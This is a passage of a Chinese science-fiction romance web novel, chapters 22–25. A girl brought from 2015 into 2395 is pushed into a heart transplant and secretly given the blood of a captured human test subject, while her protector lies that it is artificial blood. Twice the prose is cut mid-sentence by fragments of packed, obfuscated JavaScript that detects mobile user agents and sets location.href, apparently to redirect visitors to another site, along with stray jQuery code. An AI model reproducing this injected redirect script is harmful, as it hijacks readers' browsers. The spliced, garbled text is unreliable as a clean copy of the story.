艾知本就可怜那群衣不蔽体的乞讨者，听到妇人凄惨的哭诉，心中不忍，于是劝说道：“哥哥，她们很可怜。我们帮帮她吧。” 像是看到了希望的曙光，妇人的眼睛亮了许多，但下一秒男人的话将她彻底打到谷底。 “走，我们时间要来不及了。” “可是——”艾知被迟载拽走，她只能眼睁睁地看着那位妇人无力地倒在地上大声的哭泣。 而周围都是眼神麻木，目光空洞的过路人。 身后的妇人的哭声开始很大，后来因许久没有吃饭没了力气，哭声越来越小，但艾知始终能听到她的哭泣。 她为了她的孩子而哭，为了未卜的明天而哭，更是为艾知的见死不救而哭。 “为什么要拒绝救那个妇人和她的孩子？” 女人的哭声让艾知的恻隐之心受到极大的谴责，她没有钱，否则她不会请求迟载帮忙的。 迟载没有理会艾知的问题，他只想快点回到舰船，让艾知换下那件被女人弄脏的衣服。他不允许他的纯洁的小茉莉花受到一点污染。 这群低等的难民怎么敢触碰他美丽的公主，他们难道不知道高低贵贱吗。 迟载显然走向了自我认知的偏执中，他丝毫没意识到艾知现下非常生气。 她使劲挣开迟载的手，白嫩如藕尖的手腕顿时出现了好几道红色的印子。迟载瞧见了，第一个反应竟然是艾知这么好看的手腕被他捏红了。 “刚才那个妇人都这么恳求我们了，为什么不能帮她呢？”艾知不能理解，她不敢相信她喜欢的小识哥哥会是这么冷血。她从前也是孤儿，小识哥哥不是也是好心地将自己带回去养大了吗？ 只是施舍一点食物或是一些钱财，为什么要视而不见？ “我为什么要救？她们又不是第二区的子民。” 这次轮到迟载不理解艾知了，如果是第二区的平民，他也许会联系安居署的人来操办此事。现在他们并不在第二区，接济的也不是第二区的平民，他为什么要救？ “可是她们都是无辜的百姓啊。她们也不想流离失所，露宿街头。” 艾知实在无法认同迟载不关己事高高挂起的想法。 迟载的冷漠打击到了艾知，她的情绪越来越激动，胸腔急剧地上下起伏。 迟载担心艾知身体，于是低下姿态，哄道： “不是我不救，我救了她们母女两个，就会有无数的难民找上我们。宝贝，我知道你是好心，你想帮助那对可怜的母女，但是仅凭我们两个，再加一个小伽，我们帮得过来吗？人心是贪婪的，今天找你要一个饼，明天就会想找你要衣服，后天就会管你要钱，之后只会没完没了。” 艾知还是不能接受这样的说词。 “可你当初为什么要救我？我跟她们一样，没有家，居无定所。” 迟载知道艾知是联想到自己了，心想你怎么会和她们这种低等的平民一样，你是至高无上的宝贝，他的掌上明珠，她们怎么能和你相提并论。 但他还是决定骗一骗艾知，先哄她离开这里再说。 “宝贝我向你保证，以后再遇到这种情况，我不会做事不理的，好吗？我们的日程很赶，如果停留在这里处理难民的事情，耽误了你的治疗怎么办？这就是因小失大了。我们先赶路，等回去了我会联系第三区的安居署的。” 听完迟载的解释，艾知的气消了不少，但是还是会对迟载刚才的冷漠感到不舒服，所以一路上还是闷闷不乐的，回到舰船上也不太想搭理迟载。 他们前脚刚登上舰船，小伽后脚抱着大包小包的东西回到舰船上。 他抱着的全都是艾知看上的小玩意儿。 精明的小伽一看二人的神色，虽不知两人发生了什么，但是得到迟载的眼神暗示，立刻像献宝似的将东西按照大小一一排列摆在艾知面前。 “小爱小姐你看，这些都是公子见你喜欢，给你买的。” 不说这个还好，一说到给自己买的东西，艾知心里的愧疚更甚。她在这儿花钱铺张浪费，买各种没有用的东西，却没有钱拿来救济那些可怜的难民和那对面瘦肌黄的母女。 看到那个熟悉的音乐盒，艾知想到迟载跟自己说的诨话，更加烦躁，赌气似的一脚踢开那个音乐盒，一个人走到了最里面的舱室呆着。 迟载只当艾知是小女孩心性，心想是自己还没哄够，刚要进去继续哄时，舱门外传来提示音——有客到访。 棕色卷毛的瘦高男生立于迟载眼前，毕恭毕敬地说道：“迟公子，我是阿琪洛大人派来接应您和小姐的执行员罗温，接您的飞行器已准备就绪，等艾知小姐和您休憩好后，我们再启程出发。” 在迟载他们降落之后，小伽就代迟载向阿琪洛发去了信号，仅三四个小时阿琪洛的人就赶到了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16435736|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 迟载回首望了一眼里间的舱室，淡淡说道：“不急。” 艾知现在还需要靠特效药减缓生长过快的体征，今日的行程已经消耗艾知太多精力，艾知登上舰船的时候，迟载就觉察出她呼吸过急，眼下实在不宜立刻动身。 阿琪洛肯定也同罗温嘱咐了这点，罗温点头：“明白的，一切以小姐的身体为主。” 万事用“小姐”开头，以“艾知”优先，迟载对这个上道的年轻人还是比较满意的，不知不觉同他谈起话来，当然还是围绕艾知的。 “阿琪洛的东西准备好了吗？” 小伽为罗温端来一杯热茶，罗温谢过后，答道：“还没有，阿琪洛大人说还得请小姐过去后抽血化验才能配型研制。” 迟载淡淡地看了一眼罗温，说道：“还算诚实。”思考了半晌后，迟载又问道，“你家大人还有什么需要我提供的吗？” “没有了，公子，阿琪洛大人说只要钱到位就行。” 迟载噗嗤一声，爽朗笑道：“替我转告你们大人，一千万少不了他的。艾知小姐身体好转，我另有厚礼安排。” “是。”罗温捧着茶杯，沉稳地回道。 他心想，一千万真是好大一笔钱，他要是有一千万可以在陆势区买一栋采光还不错的房子，让爸妈以后再也不用忍受地下城的潮湿与阴暗。能给爸爸装上材质更好的义肢，剩余的钱攒下来还能送妹妹去研习院读书。 可一千万对于这些高官权势来讲，只是打赏人的零花钱。 罗温低垂着眉眼在看茶杯里飘散着茉莉花香的绿茶，忽然被一阵惊呼惹得抬起了头。 “我不要！一千万换心脏太贵了！我不换了！” 艾知躲在里间的时候就听到罗温与迟载的对话，听到自己换心脏需要花去一千万，她瞬间就不想要了。 这么贵的心脏，她不需要。而且又不是非得换机械心脏，她吃特效药也能活下去。 “罗温先生一千万太贵了，劳烦您跟阿琪洛医生说，我不换心脏了。” 尽管被小伽拉着，艾知还是跑到罗温面前，焦急万分。 这是罗温第一次见艾知，他脑海里当时只有一个念头：难怪这是第二区首辅大臣之子要花一千万也要救下来的女孩。 她实在太漂亮了，哪怕蹙着眉，面容苍白，依旧很美。罗温想到了远古时代的神话女神阿尔忒弥斯，圣洁清冷，眼神透露着倔强的骄傲。 不，她更像古代东方神话中的月神，高贵神性。 这是19岁的艾知，哪怕多年后再见，她仍是罗温记忆里这样的容貌，不过那时她的眼里多了对众生的怜悯和历经苦痛后的沧桑。 迟载微皱眉头，静静地看了一眼罗温，感受到警告后，罗温立刻收回视线：“小姐，钱和生命比，我想，小姐生命的重要对公子而言是无与伦比的。失去您，公子有再多钱又有什么用呢？” 迟载顺势将艾知揽入怀中，不动声色地遮挡住艾知看向罗温的视线，他低头，声音轻柔：“宝贝，我为你花再多钱也值得，只要你能好起来。” 23. 第 23 章 一千万不是小数目，迟载说花就花，艾知并不能被迟载的热诚告白感动。 艾知脑海里那个难民妇人最后看向她的那道绝望的眼神始终挥散不去。 她抬头看向迟载，很认真。 “小识哥哥，一千万是你的钱，我没有权利决定它的使用。但心脏是我的，我不想换了，可以吗？” “宝贝，你没有选择的权利。这个心脏你必须换。” 迟载声音很冷，冷到彻骨。 他不可能允许艾知不换心脏。 意识到旁边还有外人，迟载一记眼神扫过去。 小伽立刻心领神会，当即就带罗温出去：“罗温先生，我们先出去逛逛吧，把这里留给公子和小姐。” 舱门关闭后，舰船内又只剩下艾知和迟载。 迟载这时还能好脾气说话，他半膝蹲下，单手拢住艾知纤细苍白的手，声音又低又温柔。 “宝贝，可以告诉我你为什么不想换心脏了吗？” “一千万换一颗心脏不值得。而且我也不是没了机械心脏就不能活，我吃阿琪洛医生的特效药就可以了。” 那双羽扇似的睫毛静默垂下，额前碎发遮住了眼睛。 女孩的肤色已经白到可以透出里面的蓝紫色血管，体重越来越轻，而她的生命在一点一点流逝。 “机械心脏是必须要换的。阿琪洛的特效药副作用很大，我不能再承受你陷入昏迷的痛苦。” 迟载另只手抚摸着艾知的脸颊，手指慢慢描摹艾知的眉眼，看向她的眼神好似在看什么古董珍宝。 艾知从迟载的左手中抽出，双手握住那只抚摸自己脸庞的手，目光坚定： “刚开始我不知道药效所以一次性服用太多，结果让你那么担心。现在我知道了，我向你保证，我会克制用药量，不会再让自己陷入昏迷中了，不会让你害怕了。小识哥哥，这次就听我的，我们不换心脏了，那样不值得。” 艾知的话让迟载的眸光一下子暗至极点，他站起身，眼神早已没了刚才的温和，不自觉间渲染上了锋利和冷冽，语气不容置喙。 “不要再说值不值得的话了，我说你值得你就是值得。我说出去的话从没有收回来的道理。我们明日就启程，等到了庞陇城就着手准备换心脏的事。” 迟载的态度转变得如此之快，快到艾知脑子瞬间空白。 向来倍受迟载宠爱的艾知完全没想到迟载会对自己冷脸。 她跟迟载相处的这些年，迟载何曾凶过她。 再等艾知反应过来想要张口说什么的时候，迟载已经离开了。 艾知看着空荡荡的舱室，手上迟载的余温好似还在，但是艾知只感觉到冰冷。 她的心连同着眼睛一块发酸，眼泪不争气地从眼眶中滑落。 “为什么啊……” 两小时后，小伽再次进舱，打算为艾知准备餐食。却发现舱室已没了艾知的身影。小伽找了一阵，最后在后室休息舱背后的角落里发现了用衣服包裹住全身的艾知。 同几年前的那场风暴一样，艾知仍是紧闭双眼，在一堆衣服中缩成一团。 均匀的呼吸证明她已睡着，但是有些红肿的眼睛，证明她是哭着睡着的。 小伽心疼的不行，刚想找迟载报告情况，又想到他带罗温走之前发生的场景，显然给艾知弄哭的只有他家公子了。 正在小伽犹豫要不要叫醒艾知的时候，迟载出现在休息舱。 他看向睡着的女孩，表情晦涩难懂，小伽此时不敢解读迟载的心里想法，只敢不动声色地替艾知打抱不平。 “小爱小姐一定是哭着睡着的，到底是做了多委屈的梦呢，我都听到说梦话都是在哭。” 反正迟载才过来，梦里有没有哭全靠小伽一张嘴瞎编。 结果下一秒艾知真就在梦里哭出声来了。 断断续续的呜咽，听上去就像是一只被抛弃的小狗崽，既可怜又委屈。 小伽悄悄瞅迟载，男人此刻眉头紧锁，明明想立刻伸手将在梦中哭泣的女孩搂入怀中，却又生生压下抬起的胳膊。 犹豫好久，迟载才向小伽开口：“你去准备晚饭吧，多备点甜口的。水果要蓝莓，鲜榨果汁用橙子。” 嚯，还是忍不住了，小伽就知道他家公子心里就是割舍不下小爱小姐，舍不得对她生气。 这要是搁其他人这么闹脾气啊……不……其他人好像也没这个胆子。 这是小伽头一次看见自己的主人吃瘪又无可奈何的样子。 不知道为什么，看见迟载无奈，小伽心里格外高兴，他好像自动把自己代入了艾知娘家人的身份。 小伽走后，迟载想把艾知抱进休息舱中，没想到动静太大，又或是艾知睡得不踏实，刚被横抱在怀，艾知就立刻睁了眼睛，与迟载四目相对。 艾知显然是还没从梦里走出来，看见这个在梦里也惹自己生气又让自己难过的男人，先是一愣，等反应过来后，气的她立刻将脸扭过去，任凭迟载沉默地将自己抱进白色长得像长盒子似的休息舱中。 “想当小仓鼠吗？要给自己搭窝？” 迟载的情绪消化的极快，艾知的忤逆和反抗确实让自己不快，倒不至于失去理智大为光火。 尤其是看见艾知再次像几年前的雷暴天一样缩在衣服和被子中以求安全感后，他心中的不悦和烦躁一下子一扫而空，填充进来的反而是满足和骄傲—— 只有当艾知意识到他远离了她，才会寻找下一个能带给她安全感的东西。这恰恰说明了，他给予艾知的安全感胜过周围一切。 从小到大从未有人忤逆过他的意志和想法，所以迟载一直是孤傲的。 他原先想以此来教训一下艾知，让她明白他并非事事会哄她。可那一声在梦中的哭泣，傲慢又立刻变成了心疼。 他喜欢她，所以迟载觉得再哄一哄也没什么大不了。 艾知不知道迟载怎么想的，心里纳闷这个人情绪怎么转变的这么快，她自己还生着气呢，怎么就跟自己开上玩笑了。 所以这次轮到艾知不理迟载了。 坚定了想法后的迟载，是不会轻易改变的。迟载看着始终把头扭到另一侧的艾知，笑笑：“真不理我了？” 艾知赌气地翻了个身，整个人背对站在休息舱外的迟载。 “对不起，我错了。” 迟载站着的视角很容易 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艾知虽未开口，迟载还是从她的眼神中读出了疑惑，并作出了解答。 “嗯。”艾知兴致缺缺，连小伽精心准备的早餐都没怎么吃。 昨晚一夜后，艾知虽不再抗拒迟载，但还是不怎么想搭理迟载，或是开口说话。 尽管换心脏的事情她同意了，但是那对难民母女的事仍盘绕在艾知心头，她还在为自己的无能为力感到内疚。 高价换心脏与救济难民母女仿佛成了天秤两侧的秤砣，每一侧都压得她喘不上气。 她自知不能将两件事放在一起比较，也不能把这种压抑埋怨到迟载身上。 钱是迟载的，她没有权利道德绑架迟载，迟载从头到尾都只是希望自己能够活下去而已。要怪就只能怪自己不是这个世界的人，既没有能力帮助那对难民母女，又得靠迟载养着，花高价买来机械心脏给自己续命。 艾知胡思乱想着，心脏也愈加难受，她又怕迟载担心，于是她将头扭到飞行窗这边，装作看外边第三区的风景。 罗温这架飞行器可以在第三区自由穿行，因此艾知更能看清第三区城邦的建筑风貌。 第三区不同于第二区，这里对艾知而言更像是文明高度发展后的西方世界。 但飞行下降至陆势区，艾知隐隐地感觉到不对劲。陆势区的房屋建筑很多是残破的，且沿街乞讨的难民数远远多过喀斯。但是刚刚经过中空区和高层区，艾知还看见有人高举香槟宴请宾客，又或是看演唱会，开派对。 权贵和富人聚集的中空区，高层区与陆势区简直是两个世界。 陆势区垂死挣扎，但中空区和高层区却欢声笑语。更别提在陆地上看不见的地下城。 艾知从来都不知道贫富差异可以如此悬殊。 “第三区就是这样的。富的能流油，穷的只能等死。” 迟载好像进了里间，同阿琪洛通话。小伽因艾知早上胃口不佳，去钻研新食谱了，罗温不声不响出现在艾知身边。 “艾知小姐，你所处的世界应该不是这样的吧。” 24. 第 24 章 “嗯，第二区好像不是这样……” 艾知努力思考着，恍然间，她意识到罗温说的世界并非她熟悉的第二区，而是她所在的2015年的世界。 是因为时间太久了吗？久到习惯了在这个世界生活，而忘记了她原不是这个世界上的人。 艾知的心忽然有点紧缩地痛，也正是这点痛再次戳醒了她，她来自2015，而现在的年份是2395年，还有不到一个月的时间就要到她20岁的生日了。 2015年的她才是个15岁的孩子，对世界的感触不算太深，也没见过什么大场面。 但她觉得周围的一切都是安宁祥和的，没听过有什么争乱，大家都是平平淡淡地生活，按部就班地学习，工作。 所以艾知还是点了点头。 罗温那双浅棕的瞳孔望向艾知，羡慕2015年的世界，也羡慕她那双灵动纯粹的黑眸。 三百多年间全世界人种大融合，现在已经很少有纯粹的黄种人血脉了。艾知的脸是非常流畅的瓜子脸，鼻子虽是立体的驼峰鼻，但是非常秀气精致，一双开扇型的下垂眼睛让整张脸显得非常清丽单纯。 艾知是具备东方韵味的典雅型美人，不管是在以前还是现在，都是非常漂亮的存在。 “您真好看。我想一定是和平的美丽山水养育了您这样的美人。” 从小生活在和平年代的艾知并不知道罗温幼年时为躲避城邦战乱跟着父母四处逃窜。 第三区在统一前是由大大小小的城邦组成的，各个城邦之间经常发生摩擦，甚至为了争抢资源会发动武力。 这种情况直到全区统一，有了首辅大臣后才好些，但一些城邦私底下仍旧会有些争斗。因此医疗也继而成为第三区最为突出的方面。 罗温生在书香门第之家，父亲之前也是学医的，但是后来城邦之间产生冲突，他与父母还有刚出生的妹妹流离失所，最后勉强在庞陇城的地下城有了蔽身之所。但父亲却因为战乱，失去了右腿。 后来遇到阿琪洛，阿琪洛见罗温有学医天赋，便收其为徒，罗家的日子才稍稍好起来。 罗温从小就很喜欢历史，尤其喜欢公元2000年往后的那100年的历史。同食不果腹的日子比，他对和平年代更心生向往。 艾知并不懂罗温话语背后的羡慕和无奈，她诚实地答道：“其实，我是我奶奶养大的。” “哦，那您跟您的奶奶长得一定很像。” “其实，我是我奶奶捡的。” “……” 罗温噎住，刚刚涌起的对过去的想往在这一瞬间停滞住，他改口道，“那您的奶奶一定是非常善良，令人尊敬的老人。” “嗯，奶奶是世界上对我最好的人。” 艾知的性格就是这样，不会让对方的话落空，所以小伽喜欢跟她聊天，话少的罗温也喜欢。 也许是累了，艾知在罗温低头查看还有多远到庞陇城时扭过身子，彻底面向飞行窗，不再说话。 罗温还想再多和艾知说几句话，比如聊聊以前的世界是什么样的，不借助科技的人们怎么生活的。 当他再抬头，却发现艾知侧着的身子在尽量地克制颤抖。 “艾知小姐？” 学医多年，罗温敏锐地觉察出艾知身体的异样。他轻轻地将艾知摆正身子，发现紧闭双眼地她嘴唇发紫，身上还冒着冷汗。 探了脉搏，罗温脸色大变…… 这一觉，艾知觉得自己睡得很不舒服，中途她好像听见迟载急切的声音，至于说了什么，离得太远又或许在梦中，听得不真切。 她感觉到有颠簸，好像有人在摸她额头，口中被送服了一点微带咸味的液体，然后又有什么凉凉的东西贴到她胸口，她的指尖有刺痛的感觉，手指好像还被什么夹住了。 她不舒服，想说不要再折腾她了，她本来心脏就疼，能不能让她睡个好觉。 但是她开不了口，眼睛也睁不开，她的脑子晕沉沉的，只想睡个痛快。 直到被穿破皮肤，直达血肉的尖锐的痛从胳膊传来，艾知才猛地睁眼。 她躺在全白的一间房子内，头顶是刺眼的白光，周围全是滴滴作响的机器，她忽然想起上一次昏迷她一睁眼身边也全都是机器。 她心一惊，怕自己又睡过去一年两年的，她明明答应小识哥哥会永远陪着他的。 她刚想下床去找迟载，就被一个穿白衣服的跟小伽长得很像，但是身型更纤细的机器人按住了。 “小姐您现在需要躺在病床上接受治疗，现在还不是起来的时候。” “我睡过去多久了？小识哥……您知道迟载现在在哪儿吗？” “根据您的健康监测时间记录，您已陷入浅昏迷状态72小时，目前体征状态恢复良好，没有再次昏迷的可能。” 72小时，也就是说她这次只昏迷了三天，还好还好，没有艾知预想的好几年那么严重。只是昏睡了三天，不是昏迷了三年。 也不知道他们给自己输了什么东西，一个像伸缩机器的东西不停地在往自己的血管灌送像血似的红色液体。 艾知看不到的视角内，这个机器还连接着一根白色的管子，一直延伸到房间的另一段。 “我可以问一下你们给我输的是什么吗？这个颜色看上去有点奇怪。” 之前在家里的时候，她也没有输液，难道这次她病得更严重了吗？还是说她已经换好心脏了？艾知的心惴惴的，思来想去还是问出口。 门口“滴”了一声，在白衣服机器人刚要回答时，阿琪洛走了进来。 “艾知小姐您现在好点了吗？迟公子在我的休息室，您别担心。等您状态再好一些，迟公子就可以来探视您了。” 在光线的折射下，依稀能瞥见阿琪洛面带的透明面罩，艾知更感不对劲：“医生，我病得很严重吗？” “没有的，您现在很好，我保证您的身体比刚送到我这儿时还要好。” 阿琪洛的话并未让艾知放下疑心，她浑身上下都好烫，像是一股火在灼烧她身上的每一寸皮肤，她的每一道血管，而她的心跳动得却比平常都要慢。 艾知还想问阿琪洛给自己输的是什么，却被阿琪洛告知要静养，少说话。 看过白衣服机器人提供的数据后，阿琪洛就离开了，又只留下白色机器人和艾知。 “您好，可以告诉我您叫什么吗？”艾知看向那个白色机器人。 “好的，我是A1037，小姐。”A1037回复了一句，“阿琪洛大人说您需要静养，此刻不建议您说话消耗体力。” 说完他的电子眼又熄灭了，像是一个只有唤他才会开机的无感情机器一样。 冷漠的对比之下，艾知无比想念小伽。那个圆头圆脑，会陪自己聊八卦，跟自己一块刷视频，给自己做好吃的饭菜，通情达理的可爱小伽。 不知道小伽这个时候在做什么呢，她现在苏醒的消息阿琪洛医生会告诉小伽吧，她昏倒后小伽肯定着急的不行。 阿琪洛的休息室内，迟载跷着二郎腿坐在显示器前观察艾知的一举一动。 小伽则是默默流泪，不，是喜极而泣，他牵肠挂肚的艾知小姐总算醒了。 休息室的门自动开启，艾琪洛身上的防护服和面罩自动溶解，他看了眼面无表情的迟载，笑道：“看来我不需要额外告知你艾知小姐苏醒的事情了。” “嗯。”迟载表情冷淡，目光一直注视着艾知，一刻也没有离开，生怕艾知有什么不适。 阿琪洛也看向监控显示屏，站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16455501|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在迟载身边：“换血之后艾知的身体并未出现任何排异反应，你也不用太过担心了，静等观察吧。” “机械心脏什么时候能制好？” 迟载的眼下已有了乌青，自艾知再次陷入昏迷后他便再也没合过眼，全程盯着显示器的屏幕，一分钟也没有离开。 他已经无法再等待下去了，如果再不换心脏，艾知下一次昏迷很有可能就再也没法醒过来了。 他跨越时空，穿越时间线，将他一见钟情的爱人带到未来，是想和她长久呆在一起的。 所以阿琪洛提出换血为暂时性计划时，迟载一口答应。不管是用谁的血，阿琪洛怎么换血，迟载都不在乎，他只要艾知活，是能够对他笑，能站在他面前给他一个拥抱的活。 “还有两周时间。”阿琪洛转身走向办公台，一挥手，监控显示器的屏幕切换了另一个房间的监控。 一样大的白色房间，一样的机器设施，另一张病床上躺着的是一个跟艾知身型差不多的女孩。 那根连接艾知换血机器的管子也联通着这个房间的换血机器。 “这是为艾知小姐换血的试验体，试验体的血型与艾知一致，相容性高达百分之九十，是最为适合换血的对象。不一样的是，她体内的血液含氧量比艾知小姐高出许多，换了血之后，艾知小姐会更适应现在的世界。” “换血要多久？” “不长，一般人一天即可，艾知小姐身体虚弱，得要三天。” 阿琪洛又一挥，两个房间的画面同时出现在眼前。 他那双犹如蓝琉璃一样的眸子如痴如醉般注视着两张画面，像是在欣赏自己杰出的作品，喃喃自语：“人体换血这是多么伟大的医学创作，有了现代人的血，艾知小姐今后的身体会更加强健的，机械心脏也能适应的很好。” 迟载对于阿琪洛找的换血试验体并没有过多过问，只是查看了试验体的个人资料，发现未有病史记录就同意了。 阿琪洛自诩医学疯子，除了医学他只爱钱，用高官权贵送来的钱建造了他的地下实验“王国”，除了教授像罗温这样的学生外，自己就喜欢躲在他的实验室内研究各类医学实验。 实验基地虽大，但阿琪洛的一些实验室是不允许学生们踏足的，据说阿琪洛在实验室里研发了许许多多的怪物，罗温还听说阿琪洛建造了一个地下水池，在里面养了一条塞壬。 从小生活在金字塔尖的迟载对钱没有具体的概念，所以出手阔绰，只要达到结果，中间可以不计任何代价，找阿琪洛这个认钱不认人的医学疯子最为合适。 他不在乎左边画面中的试验体是谁，来自何方，他只要右边的艾知健康地活着，能亲自开口对他说她爱他，爱他给了她新的生命。 一个是医学疯子，一个是情感怪物。 两人各自欣赏着各自的作品，陷入属于各自的疯狂畅想中。 许久，阿琪洛开口道：“迟公子，之前我送来的小姐的血缘检测报告您看了吗？” 迟载不急不慢：“看了，我删了。” “基因溯源追查，艾知小姐有百分之九十九的概率为您的前代先人，据遗传结构，虽不算直系祖先，也是您几百年前的祖上的远亲。” “恕我冒昧，爱情固然伟大，可您与艾知小姐她——” “那又怎么样，几百年前的远亲算什么亲，到我这一代都不知道被稀释多少倍了。”迟载的目光仍紧紧追随艾知的面部表情，她微微皱一下眉头都能让迟载的心脏突然发紧。 “你也说了爱情伟大，我还能在乎的了别的？我只要她。” 阿琪洛罕见地露出被噎住的表情，不过他很快恢复如常，笑了笑。 “那我快快研制机械心脏，提前恭祝您和您的爱人修得正果。” 25. 第 25 章 小伽这两天一直在艾知病房外看守着，艾知昏迷几天，他就守了几天。 当听到艾知醒后，他更是没敢去充电仓休息，看到A1037出来后，就问里面的情况。 “主人有令，不能打扰病人的休息。”A1037还是没有声调的机械音，听起来冷冰冰的。 “我不是要进去，我是想问小爱小姐现在有没有好点了，她难受吗？有想吃什么吗？” “换血期间严禁进食。” A1037冷漠地离开了，小伽望向被关上的门，还是十分担忧，艾知一被送来，他就在这儿寸步不离了，只知道艾知要换血，但具体换什么血，换人造血还是什么血，他一概不知。 正好一抹熟悉的身影从前面走过，小伽立刻拦住：“罗温先生，您知道艾知小姐现在的具体情况吗？” 罗温看到是小伽，思索半天，还是将小伽请去了自己的实验室，告诉了小伽整件事的来龙去脉。 “您说什么？！阿琪洛大人抓了一个人类，用作试验体来给小爱小姐换血？” 信息量含违禁成分极高，小伽差点要昏厥了，迟载把艾知从过去时代带来也就算了，换机械心脏也能勉强接受，但是这个阿琪洛怎么抓人换血啊！ 小伽拍了拍胸脯，试图让自己冷静下来，既然阿琪洛敢这样做，那一定是得到了迟载的许可。 一个比一个胆子大，合着法外狂徒全都在这儿了呗。 小伽一脸无语加费解，又是担心地看着罗温，许久不曾说一句话，好久之后才开口：“只要小爱小姐能好起来就好。” “嗯，阿琪洛大人医术高明，他不会让艾知小姐有事的。” “那艾知小姐知情吗？” 见罗温沉默，小伽明了。这一次又是瞒着艾知进行的。 如果艾知要是知道给自己换血的也是正常人类，小伽不敢继续想下去了…… 两天后，换血结束。 艾知身上的管子全被撤了下来，被撤下来的一瞬间，艾知便在门口的显示器上看见了迟载那一张说不清什么表情的脸。 在艾知的记忆里，他们已经三四天没见面了。 尽管身上的仪器已被撤下，艾知又被A1037挪进了一个像休息舱似的只能容纳一人的透明舱内。 透明舱内空气清新，有着艾知熟悉的迟载身上的鸢尾花的香气，温度很暖，艾知仅看了一眼走进来的迟载，就再次闭眼睡了过去。 再次睁眼是迟载给她唤醒的。 “怎么样？现在是不是很舒服？” 尽管隔着透明舱，迟载的声音还是很清晰地传进来，艾知微微点头算是回应迟载。 “这是氧气修养舱，能很好地修护你换血后身体的亏损。” “什么换血？” 艾知一愣，一下子就明白过来之前看见的那个压缩式的机器传送的真是鲜血。 “阿琪洛说你在换心脏之前需要换血适应一下，所以给你输了一些人造血。” 艾知向来不疑迟载。看见坐在一边身子挺拔，看着平板仪的恋人，艾知的心就格外安宁，好像只要有迟载在，他们的问题都会迎刃而解。 艾知想着想着，闭上眼，开始幻想换了心脏之后的日子。 也许等到了那一天，她才会真正地站在他身边，陪着他一辈子。 艾知这一觉睡得很长，迟载什么时候离开的她也不知情，等睁眼时，身边是一个新的机器人。 他与A1037长得很像，不过要更可爱一点。A1037的机器脑袋要窄长一些，这个机器人则是短圆一点。 “艾知小姐您醒啦！现在感觉是不是好多了？哦对，忘了自我介绍，我是A1038。负责艾知小姐您的日常护理和饮食起居。有什么问题可以问我，我都能解答的。” 新来的这个小圆脸机器人比A1037话多多了，艾知的心情也跟着好起来。 “为什么是你来照顾我呀？小伽呢？A1037不在这儿了吗？”艾知好久都没见着小伽了，他一定很想自己。 “A1037是换血间的机器用人，他的工作职责已经履行完毕了。我是阿琪洛大人专门派来服侍小姐您哒，我在医理和护理方面会更精通，现在就由我专程照顾小姐您。所以小伽机器人还是跟着迟公子的。” 分工倒是明确，艾知看到自己右胳膊处那个小小的，不起眼的针孔，想了想又问：“我被转到修养舱之前一直都呆在换血间吗？” “是的，当时可凶险了。小姐被送过来时，面色青白，嘴唇发紫，意识已经不清醒了。还好罗温大人给小姐您做了急救措施，喂了一点他的血，您才撑到我们阿琪洛大人这儿。” “不过我刚来没多久，但是您放心，我的护理和药理都是专业的，不然我也不可能来服侍您的。” A1038还在喋喋不休，丝毫没注意到艾知的脸色越来越奇怪。 她竟被喂了罗温的血，所以她梦中被送入口中的那一点微咸的液体是罗温的血吗？可她又不是吸血鬼，为什么要服用人血呢？ “罗温大人的血是有什么药效吗？” 罗温救了自己，艾知自然十分感激，但是饮血这个方式让艾知匪夷所思。在她的理解范围内，人血是没有任何药用价值的。 “当然有用啦！小姐您不是现代人嘛，身体是经受不住现代世界的高氧量的，会加速您身体细胞的代谢和老化，所以服用一点点现代人的血就相当于给您的身体带来一定量的抗体元素，让您的细胞代谢产生反应，以至于白细胞先解决外来入侵物，而不是去吞噬您体内自身病变的原有细胞。” “也正是因为罗温先生的急中生智，所以阿琪洛大人受到启发才决定给您和试验体进行换血，这样您才能更好地适应我们的贝器时代的世界。” A1038讲的东西艾知都听不懂，她只捕捉到了“试验体”“换血”几个字眼。 “试验体？不是人造血吗？” “当然不是了，人造血的成分肯定没有实验活体的血更符合人体血液需求，您看您现在，是不是觉得身体比较轻盈，没有负重的感觉了？” “实验活体是人吗？”艾知说这话时，声音是颤抖的。 迟载明明跟她说她用的是人造血。 A1038就像听到了一句笑话似的，以为艾知在开玩笑，甚至觉得艾知的生物知识十分匮乏：“当然了小姐，跟您换血的只能是人类啊。物种隔离您肯定知道的。” 物种隔离，不是人造血，换血的只能是人类。那为什么迟载要骗自己，说是人造血，还是说迟载也被蒙在鼓里…… 艾知的世界忽然间像是裂开了一道大口子，黑色的物质涌入，而原本鲜艳多彩的世界一下子被黑暗笼罩。 她忽然开始耳鸣，颈间脉搏的跳动杂乱无章，一想到自己身上现在流淌的血液是另一个人的，她就无法呼吸。艾知涨红着脸拼命在里面乱扒乱拍，要从里面出去。 A1038吓坏了，急急忙忙开了修养舱，艾知坐起就要从里面爬出来：“试验体在哪？带我去。” 出来时，艾知摔了一跤，但她顾不上疼痛，她一定要亲眼看一看A1038口中的试验体。 她要知道迟载是不是在对她说谎。 她换了血暂时安全，那另个和她换血的人呢？是不是还是活着？ 阿琪洛嘱咐过A1038，说艾知小姐是贵客，一定要有求必应，所以艾知的命令也如同指令一般刻在A1038的芯片上，艾知说要去看试验体，他便带她去了。 结果一出舱门，两人就撞见了罗温。 “怎么了？您身体还没适应好呢，怎么要出去？” 罗温看向A1038，A1038吓得躲在艾知身后不敢回话。 